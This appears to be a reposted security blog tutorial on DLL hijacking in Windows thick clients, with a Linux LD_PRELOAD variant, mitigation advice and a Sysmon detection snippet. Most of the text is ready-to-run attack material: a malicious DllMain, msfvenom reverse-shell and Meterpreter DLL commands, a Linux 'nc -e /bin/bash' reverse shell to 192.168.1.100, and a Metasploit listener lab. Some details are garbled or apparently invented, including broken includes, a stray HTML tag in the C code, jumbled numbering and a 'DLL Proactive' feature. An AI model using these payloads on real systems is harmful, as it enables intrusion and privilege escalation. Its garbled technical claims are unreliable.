From DLL Hijacking to Full Code Execution: How One Writable Folder Can Bypass Your Thick Client Security + Video

Listen to this Post

Featured Image

Introduction:

Thick client applications often rely on dynamic link libraries (DLLs) that are resolved using a predictable search order. When an application fails to specify absolute paths or neglects to validate library integrity, an attacker with local file system access can plant a malicious DLL in a writable directory, causing the application to load it and execute arbitrary code—a classic but devastating technique known as DLL hijacking.

Learning Objectives:

  • Understand the Windows DLL search order and identify hijackable missing dependencies using Process Monitor.
  • Exploit insecure file system permissions to place a rogue DLL and achieve code execution.
  • Apply mitigation strategies including secure loading functions, path hardening, and runtime monitoring.

You Should Know:

  1. Anatomy of a DLL Hijacking Attack – Windows Search Order and Writable Locations

Windows follows a specific order when an application calls `LoadLibrary` with a relative path:

1. The directory from which the application loaded.

2. The system directory (e.g., `C:\Windows\System32`).

3. The 16-bit system directory (usually `C:\Windows\System`).

4. The Windows directory (`C:\Windows`).

5. The current working directory.

6. Directories listed in the `PATH` environment variable.

If an application tries to load a missing DLL (e.g., missing.dll) and the application directory or current working directory is writable by a non‑privileged user, an attacker can place a malicious DLL there. When the application starts, it will load the attacker’s DLL instead of failing.

Step‑by‑step guide to identify hijackable DLLs:

  • Run the target application (e.g., legacy_app.exe).
  • Launch Process Monitor (ProcMon) from Sysinternals.
  • Set filters:
    – `Process Name` is `legacy_app.exe`
    – `Operation` is `CreateFile` or `LoadImage`
    – `Result` is `NAME NOT FOUND`
  • Look for DLL names that the application attempts to load from locations like the current working directory or the application’s folder.
  • Check if you have write permissions on that directory:
    icacls "C:\Program Files\TargetApp" 
    

    If `BUILTIN\Users` or your user has `(W)` or (M), the location is writable.

  1. Building the Malicious DLL – Minimal Code to Launch a Calculator (or Reverse Shell)

Once a hijackable DLL name and writable location are identified, you need a DLL that exports at least the same function(s) the application expects, or you can let the application call DllMain. For a proof of concept, compile a DLL that executes a command upon load.

Using Visual Studio (C++):

include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
WinExec("calc.exe", SW_SHOW);
// For a reverse shell, replace with:
// WinExec("powershell -NoP -NonI -W Hidden -Exec Bypass -Enc <encoded_command>", SW_HIDE);
}
return TRUE;
}

Compile with:

cl /LD malicious.cpp /Fe:missing.dll

Using msfvenom (Metasploit) for a reverse shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o missing.dll

Place `missing.dll` into the writable directory (e.g., C:\Program Files\TargetApp\). The next time the application runs, it loads your DLL and executes the payload.

3. Linux Equivalent – LD_PRELOAD and Library Hijacking

Although the original post focuses on Windows thick clients, similar techniques exist on Linux using `LD_PRELOAD` or hijacking library search paths (LD_LIBRARY_PATH).

Step‑by‑step for Linux library hijacking:

  • Identify a missing shared object using strace:
    strace -e openat ./target_app 2>&1 | grep "ENOENT"
    
  • Find a writable location in the library search path:
    ldconfig -p | grep libmissing.so
    
  • Create a malicious shared object:
    include <stdio.h>
    <strong>attribute</strong>((constructor)) void pwn() {
    system("/bin/bash -c 'nc -e /bin/bash 192.168.1.100 4444'");
    }
    

Compile: `gcc -shared -fPIC -o libmissing.so malicious.c`

  • Place the file in a writable directory that appears in the search order (e.g., current working directory). Launch the application.
  1. Chaining DLL Hijacking to Full Remote Code Execution (RCE)

A local code execution via DLL hijacking becomes dangerous when combined with other vectors:
– Remote file write – e.g., via a vulnerable file upload, SMB share, or malicious USB drop.
– Privilege escalation – if the hijacked application runs as a service or with higher privileges (e.g., auto‑start application installed by admin), your DLL inherits those rights.
– Persistence – replace a DLL used by a scheduled task or startup application.

Example chain:

  1. Attacker finds a writable folder in a backup software’s install directory.
  2. A remote backup job writes a file to that folder (via unauthenticated FTP).

3. Attacker uploads `wintrust.dll` (a common hijack target).

  1. Next time the backup software runs (as SYSTEM), the DLL executes a reverse shell.

  2. Mitigation – Hardening Thick Clients Against DLL Hijacking

Developers and system administrators can block this attack with several layers:

Code‑level mitigations:

  • Always use absolute paths when calling `LoadLibrary` or LoadLibraryEx.
  • Use `SetDllDirectory(“”)` to remove the current working directory from the search order.
  • Call `SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32)` to restrict loading to System32 only.
  • Enable DLL Proactive (Windows 8+) with `AddDllDirectory` for safe paths.

System‑level hardening:

  • Remove write permissions for non‑admin users on application folders.
    icacls "C:\Program Files\TargetApp" /deny "Users:(W)"
    
  • Enable Control Flow Guard and Dynamic Code Integrity in Windows Defender.
  • Deploy AppLocker or WDAC (Windows Defender Application Control) to block unauthorized DLLs.

Detection:

  • Use Sysmon event ID 7 (Image loaded) and 15 (FileCreateStreamHash) to log DLL loads.
  • Look for DLL loads from unusual paths (e.g., `C:\Users\Public\` or C:\Temp\).
  1. Hands‑on Lab: Simulate the Attack on a Vulnerable Test App

Setup:

  • Download a known vulnerable thick client (e.g., an older version of Notepad++ or a custom compiled `vuln_app.exe` that calls `LoadLibrary(“legit.dll”)` without a path).
  • Create a non‑admin user testuser.

Step 1 – Identify missing DLL

Run ProcMon as admin, filter by process name vuln_app.exe, operation LoadLibrary, result NAME NOT FOUND. Note the DLL name, e.g., missing.dll.

Step 2 – Check write permissions

icacls "C:\Program Files\VulnApp" 

If `testuser` has write access, proceed.

Step 3 – Generate reverse shell DLL

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -f dll -o missing.dll

Step 4 – Start Metasploit listener

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 5555
exploit

Step 5 – Place DLL and trigger

Copy `missing.dll` into `C:\Program Files\VulnApp\` and launch `vuln_app.exe` as testuser. A Meterpreter session opens.

  1. Detection Hardening – Configuring Sysmon for DLL Hijacking Events

To catch these attacks in production, deploy Sysmon with a configuration that logs every DLL load and alerts on anomalies.

Example Sysmon config snippet (event ID 7):

<Sysmon>
<EventFiltering>
<RuleGroup name="DLLLoad" groupRelation="or">
<ImageLoad onmatch="include">
<Image condition="end with">vuln_app.exe</Image>
</ImageLoad>
<ImageLoad onmatch="exclude">
<Image condition="begin with">C:\Windows\</Image>
<Signature condition="is">Microsoft Windows</Signature>
</ImageLoad>
</RuleGroup>
</EventFiltering>
</Sysmon>

Forward logs to a SIEM and create a rule: DLL loaded from non‑standard path AND process name matches sensitive application. This will catch `missing.dll` loading from `C:\Program Files\VulnApp` instead of System32.

What Undercode Say:

  • Old techniques still work – DLL hijacking was documented over a decade ago, yet misconfigured thick clients remain widespread because developers trust default load behavior.
  • One writable folder + one missing DLL = code execution – The attack does not require memory corruption, exploit development, or zero‑days. It abuses legitimate OS features.
  • Thick clients are often forgotten – Most organizations focus on web applications and APIs, leaving desktop software with outdated installation paths and lax permissions.
  • Mitigation is simple and effective – Using absolute paths, restricting search order, and removing write permissions from non‑admin users eliminates the vast majority of these attacks.

Prediction:

As more organizations adopt Zero Trust and endpoint detection, attackers will increasingly pivot to legacy thick client software that runs with high privileges (e.g., backup agents, antivirus, management consoles). Automated scanning tools will emerge that crawl installed applications, detect missing DLL references, and probe folder permissions – turning DLL hijacking into a commodity initial access vector. Defenders will need to incorporate application‑level path hardening into their standard build pipelines, not just network and web security. Within two years, we expect DLL hijacking to be a top‑10 finding in penetration tests for enterprise internal networks, rivaling misconfigured SMB shares and unpatched services.

▶️ Related Video (74% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Vishal Kumar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky